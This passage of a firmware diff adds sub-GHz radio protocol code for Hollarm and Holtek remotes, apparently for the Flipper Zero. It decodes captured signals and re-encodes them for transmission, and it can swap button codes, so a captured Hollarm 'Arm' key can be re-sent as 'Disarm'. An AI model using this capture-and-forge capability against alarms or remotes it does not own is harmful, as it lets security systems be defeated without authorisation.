+    uint8_t original_btn_code = subghz_custom_btn_get_original();
+    uint8_t btn = original_btn_code;
+
+    // Set custom button
+    if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
+        // Restore original button code
+        btn = original_btn_code;
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x2;
+            break;
+        case 0x2:
+            btn = 0x1;
+            break;
+        case 0x4:
+            btn = 0x1;
+            break;
+        case 0x8:
+            btn = 0x1;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x4;
+            break;
+        case 0x2:
+            btn = 0x4;
+            break;
+        case 0x4:
+            btn = 0x2;
+            break;
+        case 0x8:
+            btn = 0x4;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
+        switch(original_btn_code) {
+        case 0x1:
+            btn = 0x8;
+            break;
+        case 0x2:
+            btn = 0x8;
+            break;
+        case 0x4:
+            btn = 0x8;
+            break;
+        case 0x8:
+            btn = 0x2;
+            break;
+
+        default:
+            break;
+        }
+    }
+
+    return btn;
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderHollarm instance
+ */
+static void subghz_protocol_encoder_hollarm_get_upload(SubGhzProtocolEncoderHollarm* instance) {
+    furi_assert(instance);
+
+    // Generate new key using custom or default button
+    instance->generic.btn = subghz_protocol_hollarm_get_btn_code();
+
+    // override button if we change it with signal settings button editor
+    if(subghz_block_generic_global_button_override_get(&instance->generic.btn))
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", instance->generic.btn);
+
+    uint64_t new_key = (instance->generic.data >> 12) << 12 | (instance->generic.btn << 8);
+
+    uint8_t bytesum = ((new_key >> 32) & 0xFF) + ((new_key >> 24) & 0xFF) +
+                      ((new_key >> 16) & 0xFF) + ((new_key >> 8) & 0xFF);
+
+    instance->generic.data = (new_key | bytesum);
+
+    size_t index = 0;
+
+    // Send key and GAP between parcels
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        // Read and prepare levels with 2 bit (was saved for better parsing) to the left offset to fit with the original remote transmission
+        if(bit_read((instance->generic.data << 2), i - 1)) {
+            // Send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_hollarm_const.te_short);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_hollarm_const.te_short * 12);
+            } else {
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_hollarm_const.te_short * 8);
+            }
+        } else {
+            // Send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_hollarm_const.te_short);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false, (uint32_t)subghz_protocol_hollarm_const.te_short * 12);
+            } else {
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_hollarm_const.te_long);
+            }
+        }
+    }
+
+    instance->encoder.size_upload = index;
+    return;
+}
+
+/** 
+ * Analysis of received data and parsing serial number
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_hollarm_remote_controller(SubGhzBlockGeneric* instance) {
+    instance->btn = (instance->data >> 8) & 0xF;
+    instance->serial = (instance->data & 0xFFFFFFF0000) >> 16;
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(instance->btn);
+    }
+    subghz_custom_btn_set_max(3);
+
+    // Hollarm Decoder
+    // 09.2024 - @xMasterX (MMX)
+    // Thanks @Skorpionm for support!
+
+    // F0B93422FF = FF 8bit Sum
+    // F0B93421FE = FE 8bit Sum
+    // F0B9342401 = 01 8bit Sum
+    // F0B9342805 = 05 8bit Sum
+
+    // Serial (moved 2bit to right)    | Btn | 8b previous 4 bytes sum
+    // 00001111000010111001001101000010 0010  11111111 btn = (0x2)
+    // 00001111000010111001001101000010 0001  11111110 btn = (0x1)
+    // 00001111000010111001001101000010 0100  00000001 btn = (0x4)
+    // 00001111000010111001001101000010 1000  00000101 btn = (0x8)
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_hollarm_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderHollarm* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_hollarm_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_hollarm_remote_controller(&instance->generic);
+        subghz_protocol_encoder_hollarm_get_upload(instance);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> (i * 8)) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to add Key");
+            break;
+        }
+
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_hollarm_stop(void* context) {
+    SubGhzProtocolEncoderHollarm* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_hollarm_yield(void* context) {
+    SubGhzProtocolEncoderHollarm* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_hollarm_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderHollarm* instance = malloc(sizeof(SubGhzProtocolDecoderHollarm));
+    instance->base.protocol = &subghz_protocol_hollarm;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_hollarm_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHollarm* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_hollarm_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHollarm* instance = context;
+    instance->decoder.parser_step = HollarmDecoderStepReset;
+}
+
+void subghz_protocol_decoder_hollarm_feed(void* context, bool level, volatile uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHollarm* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case HollarmDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_hollarm_const.te_short * 12) <
+                        subghz_protocol_hollarm_const.te_delta * 2)) {
+            //Found GAP between parcels
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.parser_step = HollarmDecoderStepSaveDuration;
+        }
+        break;
+    case HollarmDecoderStepSaveDuration:
+        // Save HIGH level timing for next step
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = HollarmDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = HollarmDecoderStepReset;
+        }
+        break;
+    case HollarmDecoderStepCheckDuration:
+        if(!level) {
+            // Bit 0 is short 200us HIGH + long 1000us LOW timing
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_hollarm_const.te_short) <
+                subghz_protocol_hollarm_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_hollarm_const.te_long) <
+                subghz_protocol_hollarm_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = HollarmDecoderStepSaveDuration;
+                // Bit 1 is short 200us HIGH + short x8 = 1600us LOW timing
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_hollarm_const.te_short) <
+                 subghz_protocol_hollarm_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_hollarm_const.te_short * 8) <
+                 subghz_protocol_hollarm_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = HollarmDecoderStepSaveDuration;
+            } else if(
+                // End of the key
+                DURATION_DIFF(duration, subghz_protocol_hollarm_const.te_short * 12) <
+                subghz_protocol_hollarm_const.te_delta) {
+                // When next GAP is found add bit 0 and do check for read finish
+                // (we have 42 high level pulses, last or first one may be a stop/start bit but we will parse it as zero)
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+
+                // If got 42 bits key reading is finished
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_hollarm_const.min_count_bit_for_found) {
+                    // Saving with 2bit to the right offset for proper parsing
+                    instance->generic.data = (instance->decoder.decode_data >> 2);
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    uint8_t bytesum = ((instance->generic.data >> 32) & 0xFF) +
+                                      ((instance->generic.data >> 24) & 0xFF) +
+                                      ((instance->generic.data >> 16) & 0xFF) +
+                                      ((instance->generic.data >> 8) & 0xFF);
+
+                    if(bytesum != (instance->generic.data & 0xFF)) {
+                        // Check if the key is valid by verifying the sum
+                        instance->generic.data = 0;
+                        instance->generic.data_count_bit = 0;
+                        instance->decoder.decode_data = 0;
+                        instance->decoder.decode_count_bit = 0;
+                        instance->decoder.parser_step = HollarmDecoderStepReset;
+                        break;
+                    }
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->decoder.parser_step = HollarmDecoderStepReset;
+            } else {
+                instance->decoder.parser_step = HollarmDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = HollarmDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Get button name.
+ * @param btn Button number, 4 bit
+ */
+static const char* subghz_protocol_hollarm_get_button_name(uint8_t btn) {
+    const char* name_btn[16] = {
+        "Unknown",
+        "Disarm", // B (2)
+        "Arm", // A (1)
+        "0x3",
+        "Ringtone/Alarm", // C (3)
+        "0x5",
+        "0x6",
+        "0x7",
+        "Ring", // D (4)
+        "Settings mode",
+        "Exit settings",
+        "Vibro sens. setting",
+        "Not used\n(in settings)",
+        "Volume setting",
+        "0xE",
+        "0xF"};
+    return btn <= 0xf ? name_btn[btn] : name_btn[0];
+}
+
+uint8_t subghz_protocol_decoder_hollarm_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHollarm* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_hollarm_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHollarm* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_hollarm_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHollarm* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_hollarm_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_hollarm_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHollarm* instance = context;
+
+    // Parse serial
+    subghz_protocol_hollarm_remote_controller(&instance->generic);
+    // Get byte sum
+    uint8_t bytesum =
+        ((instance->generic.data >> 32) & 0xFF) + ((instance->generic.data >> 24) & 0xFF) +
+        ((instance->generic.data >> 16) & 0xFF) + ((instance->generic.data >> 8) & 0xFF);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = true;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key: 0x%02lX%08lX\r\n"
+        "Serial: 0x%06lX  Sum: %02X\r\n"
+        "Btn: 0x%01X - %s\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data >> 32),
+        (uint32_t)instance->generic.data,
+        instance->generic.serial,
+        bytesum,
+        instance->generic.btn,
+        subghz_protocol_hollarm_get_button_name(instance->generic.btn));
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/hollarm.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/hollarm.h
new file mode 100644
index 000000000..8749198a1
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/hollarm.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_HOLLARM_NAME "Hollarm"
+
+typedef struct SubGhzProtocolDecoderHollarm SubGhzProtocolDecoderHollarm;
+typedef struct SubGhzProtocolEncoderHollarm SubGhzProtocolEncoderHollarm;
+
+extern const SubGhzProtocolDecoder subghz_protocol_hollarm_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_hollarm_encoder;
+extern const SubGhzProtocol subghz_protocol_hollarm;
+
+/**
+ * Allocate SubGhzProtocolEncoderHollarm.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderHollarm* pointer to a SubGhzProtocolEncoderHollarm instance
+ */
+void* subghz_protocol_encoder_hollarm_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderHollarm.
+ * @param context Pointer to a SubGhzProtocolEncoderHollarm instance
+ */
+void subghz_protocol_encoder_hollarm_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderHollarm instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_hollarm_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderHollarm instance
+ */
+void subghz_protocol_encoder_hollarm_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderHollarm instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_hollarm_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderHollarm.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderHollarm* pointer to a SubGhzProtocolDecoderHollarm instance
+ */
+void* subghz_protocol_decoder_hollarm_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderHollarm.
+ * @param context Pointer to a SubGhzProtocolDecoderHollarm instance
+ */
+void subghz_protocol_decoder_hollarm_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderHollarm.
+ * @param context Pointer to a SubGhzProtocolDecoderHollarm instance
+ */
+void subghz_protocol_decoder_hollarm_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderHollarm instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_hollarm_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderHollarm instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_hollarm_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderHollarm.
+ * @param context Pointer to a SubGhzProtocolDecoderHollarm instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_hollarm_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderHollarm.
+ * @param context Pointer to a SubGhzProtocolDecoderHollarm instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_hollarm_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderHollarm instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_hollarm_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/holtek.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/holtek.c
new file mode 100644
index 000000000..908d36a51
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/holtek.c
@@ -0,0 +1,370 @@
+#include "holtek.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+/*
+ * Help
+ * https://pdf1.alldatasheet.com/datasheet-pdf/view/82103/HOLTEK/HT640.html
+ * https://fccid.io/OJM-CMD-HHLR-XXXA
+ *
+ */
+
+#define TAG "SubGhzProtocolHoltek"
+
+#define HOLTEK_HEADER_MASK 0xF000000000
+#define HOLTEK_HEADER      0x5000000000
+
+static const SubGhzBlockConst subghz_protocol_holtek_const = {
+    .te_short = 430,
+    .te_long = 870,
+    .te_delta = 100,
+    .min_count_bit_for_found = 40,
+};
+
+struct SubGhzProtocolDecoderHoltek {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderHoltek {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    HoltekDecoderStepReset = 0,
+    HoltekDecoderStepFoundStartBit,
+    HoltekDecoderStepSaveDuration,
+    HoltekDecoderStepCheckDuration,
+} HoltekDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_holtek_decoder = {
+    .alloc = subghz_protocol_decoder_holtek_alloc,
+    .free = subghz_protocol_decoder_holtek_free,
+
+    .feed = subghz_protocol_decoder_holtek_feed,
+    .reset = subghz_protocol_decoder_holtek_reset,
+
+    .get_hash_data = subghz_protocol_decoder_holtek_get_hash_data,
+    .serialize = subghz_protocol_decoder_holtek_serialize,
+    .deserialize = subghz_protocol_decoder_holtek_deserialize,
+    .get_string = subghz_protocol_decoder_holtek_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_holtek_encoder = {
+    .alloc = subghz_protocol_encoder_holtek_alloc,
+    .free = subghz_protocol_encoder_holtek_free,
+
+    .deserialize = subghz_protocol_encoder_holtek_deserialize,
+    .stop = subghz_protocol_encoder_holtek_stop,
+    .yield = subghz_protocol_encoder_holtek_yield,
+};
+
+const SubGhzProtocol subghz_protocol_holtek = {
+    .name = SUBGHZ_PROTOCOL_HOLTEK_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_315 |
+            SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load |
+            SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_holtek_decoder,
+    .encoder = &subghz_protocol_holtek_encoder,
+};
+
+void* subghz_protocol_encoder_holtek_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderHoltek* instance = malloc(sizeof(SubGhzProtocolEncoderHoltek));
+
+    instance->base.protocol = &subghz_protocol_holtek;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 128;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_holtek_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderHoltek* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderHoltek instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_holtek_get_upload(SubGhzProtocolEncoderHoltek* instance) {
+    furi_assert(instance);
+
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    //Send header
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_holtek_const.te_short * 36);
+    //Send start bit
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_holtek_const.te_short);
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_holtek_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_holtek_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_holtek_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_holtek_const.te_long);
+        }
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_holtek_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderHoltek* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_holtek_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_holtek_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_holtek_stop(void* context) {
+    SubGhzProtocolEncoderHoltek* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_holtek_yield(void* context) {
+    SubGhzProtocolEncoderHoltek* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_holtek_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderHoltek* instance = malloc(sizeof(SubGhzProtocolDecoderHoltek));
+    instance->base.protocol = &subghz_protocol_holtek;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_holtek_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoltek* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_holtek_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoltek* instance = context;
+    instance->decoder.parser_step = HoltekDecoderStepReset;
+}
+
+void subghz_protocol_decoder_holtek_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoltek* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case HoltekDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_holtek_const.te_short * 36) <
+                        subghz_protocol_holtek_const.te_delta * 36)) {
+            //Found Preambula
+            instance->decoder.parser_step = HoltekDecoderStepFoundStartBit;
+        }
+        break;
+    case HoltekDecoderStepFoundStartBit:
+        if((level) && (DURATION_DIFF(duration, subghz_protocol_holtek_const.te_short) <
+                       subghz_protocol_holtek_const.te_delta)) {
+            //Found StartBit
+            instance->decoder.parser_step = HoltekDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.parser_step = HoltekDecoderStepReset;
+        }
+        break;
+    case HoltekDecoderStepSaveDuration:
+        //save duration
+        if(!level) {
+            if(duration >= ((uint32_t)subghz_protocol_holtek_const.te_short * 10 +
+                            subghz_protocol_holtek_const.te_delta)) {
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_holtek_const.min_count_bit_for_found) {
+                    if((instance->decoder.decode_data & HOLTEK_HEADER_MASK) == HOLTEK_HEADER) {
+                        instance->generic.data = instance->decoder.decode_data;
+                        instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                        if(instance->base.callback)
+                            instance->base.callback(&instance->base, instance->base.context);
+                    }
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->decoder.parser_step = HoltekDecoderStepFoundStartBit;
+                break;
+            } else {
+                instance->decoder.te_last = duration;
+
+                instance->decoder.parser_step = HoltekDecoderStepCheckDuration;
+            }
+        } else {
+            instance->decoder.parser_step = HoltekDecoderStepReset;
+        }
+        break;
+    case HoltekDecoderStepCheckDuration:
+        if(level) {
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_holtek_const.te_short) <
+                subghz_protocol_holtek_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_holtek_const.te_long) <
+                subghz_protocol_holtek_const.te_delta * 2)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = HoltekDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_holtek_const.te_long) <
+                 subghz_protocol_holtek_const.te_delta * 2) &&
+                (DURATION_DIFF(duration, subghz_protocol_holtek_const.te_short) <
+                 subghz_protocol_holtek_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = HoltekDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = HoltekDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = HoltekDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_holtek_check_remote_controller(SubGhzBlockGeneric* instance) {
+    if((instance->data & HOLTEK_HEADER_MASK) == HOLTEK_HEADER) {
+        instance->serial =
+            subghz_protocol_blocks_reverse_key((instance->data >> 16) & 0xFFFFF, 20);
+        uint16_t btn = instance->data & 0xFFFF;
+        if((btn & 0xf) != 0xA) {
+            instance->btn = 0x1 << 4 | (btn & 0xF);
+        } else if(((btn >> 4) & 0xF) != 0xA) {
+            instance->btn = 0x2 << 4 | ((btn >> 4) & 0xF);
+        } else if(((btn >> 8) & 0xF) != 0xA) {
+            instance->btn = 0x3 << 4 | ((btn >> 8) & 0xF);
+        } else if(((btn >> 12) & 0xF) != 0xA) {
+            instance->btn = 0x4 << 4 | ((btn >> 12) & 0xF);
+        } else {
+            instance->btn = 0;
+        }
+    } else {
+        instance->serial = 0;
+        instance->btn = 0;
+        instance->cnt = 0;
+    }
+}
+
+uint8_t subghz_protocol_decoder_holtek_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoltek* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_holtek_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoltek* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_holtek_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoltek* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_holtek_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_holtek_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderHoltek* instance = context;
+    subghz_protocol_holtek_check_remote_controller(&instance->generic);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = false;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:0x%lX%08lX\r\n"
+        "Sn:0x%05lX Btn:%X ",
